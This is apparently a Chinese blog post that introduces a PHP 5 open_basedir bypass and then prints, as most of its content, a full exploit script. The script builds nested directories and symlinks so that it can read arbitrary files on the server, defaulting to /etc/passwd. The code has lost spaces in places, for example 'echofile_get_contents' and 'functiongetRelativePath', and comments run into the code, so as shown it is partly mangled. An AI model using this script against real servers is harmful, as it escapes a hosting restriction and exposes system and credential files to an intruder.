PHP5全版本绕过open_basedir读文件脚本漏洞详细介绍
漏洞很久之前(大概5年前)被提出来了,但并不是php代码上的问题,所以问题一直存在,直到现在。我一直没留意,后来yaseng告诉我的,他测试了好像5.5都可以。
漏洞详情在这里http://cxsecurity.com/issue/WLB-2009110068。
给出我写的EXP:
<?php
/*
*byphithon
*Fromhttps://www.nhooo.com
*detail:http://cxsecurity.com/issue/WLB-2009110068
*/
header('content-type:text/plain');
error_reporting(-1);
ini_set('display_errors',TRUE);
printf("open_basedir:%s\nphp_version:%s\n",ini_get('open_basedir'),phpversion());
printf("disable_functions:%s\n",ini_get('disable_functions'));
$file=str_replace('\\','/',isset($_REQUEST['file'])?$_REQUEST['file']:'/etc/passwd');
$relat_file=getRelativePath(__FILE__,$file);
$paths=explode('/',$file);
$name=mt_rand()%999;
$exp=getRandStr();
mkdir($name);
chdir($name);
for($i=1;$i<count($paths)-1;$i++){
 mkdir($paths[$i]);
 chdir($paths[$i]);
}
mkdir($paths[$i]);
for($i-=1;$i>0;$i--){
 chdir('..');
}
$paths=explode('/',$relat_file);
$j=0;
for($i=0;$paths[$i]=='..';$i++){
 mkdir($name);
 chdir($name);
 $j++;
}
for($i=0;$i<=$j;$i++){
 chdir('..');
}
$tmp=array_fill(0,$j+1,$name);
symlink(implode('/',$tmp),'tmplink');
$tmp=array_fill(0,$j,'..');
symlink('tmplink/'.implode('/',$tmp).$file,$exp);
unlink('tmplink');
mkdir('tmplink');
delfile($name);
$exp=dirname($_SERVER['SCRIPT_NAME'])."/{$exp}";
$exp="http://{$_SERVER['SERVER_NAME']}{$exp}";
echo"\n-----------------content---------------\n\n";
echofile_get_contents($exp);
delfile('tmplink');
functiongetRelativePath($from,$to){ //somecompatibilityfixesforWindowspaths $from=rtrim($from,'\/').'/'; $from=str_replace('\\','/',$from); $to =str_replace('\\','/',$to);
$from =explode('/',$from); $to =explode('/',$to); $relPath =$to;
foreach($fromas$depth=>$dir){ //findfirstnon-matchingdir if($dir===$to[$depth]){ //ignorethisdirectory array_shift($relPath); }else{ //getnumberofremainingdirsto$from $remaining=count($from)-$depth; if($remaining>1){ //addtraversalsuptofirstmatchingdir $padLength=(count($relPath)+$remaining-1)*-1; $relPath=array_pad($relPath,$padLength,'..'); break; }else{ $relPath[0]='./'.$relPath[0]; } } } returnimplode('/',$relPath); }
functiondelfile($deldir){ if(@is_file($deldir)){ @chmod($deldir,0777); return@unlink($deldir); }elseif(@is_dir($deldir)){ if(($mydir=@opendir($deldir))==NULL)returnfalse; while(false!==($file=@readdir($mydir))) { $name=File_Str($deldir.'/'.$file); if(($file!='.')&&($file!='..')){delfile($name);} } @closedir($mydir); @chmod($deldir,0777); return@rmdir($deldir)?true:false; } }
functionFile_Str($string) { returnstr_replace('//','/',str_replace('\\','/',$string)); }
functiongetRandStr($length=6){ $chars='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'; $randStr=''; for($i=0;$i<$length;$i++){ $randStr.=substr($chars,mt_rand(0,strlen($chars)-1),1); } return$randStr; }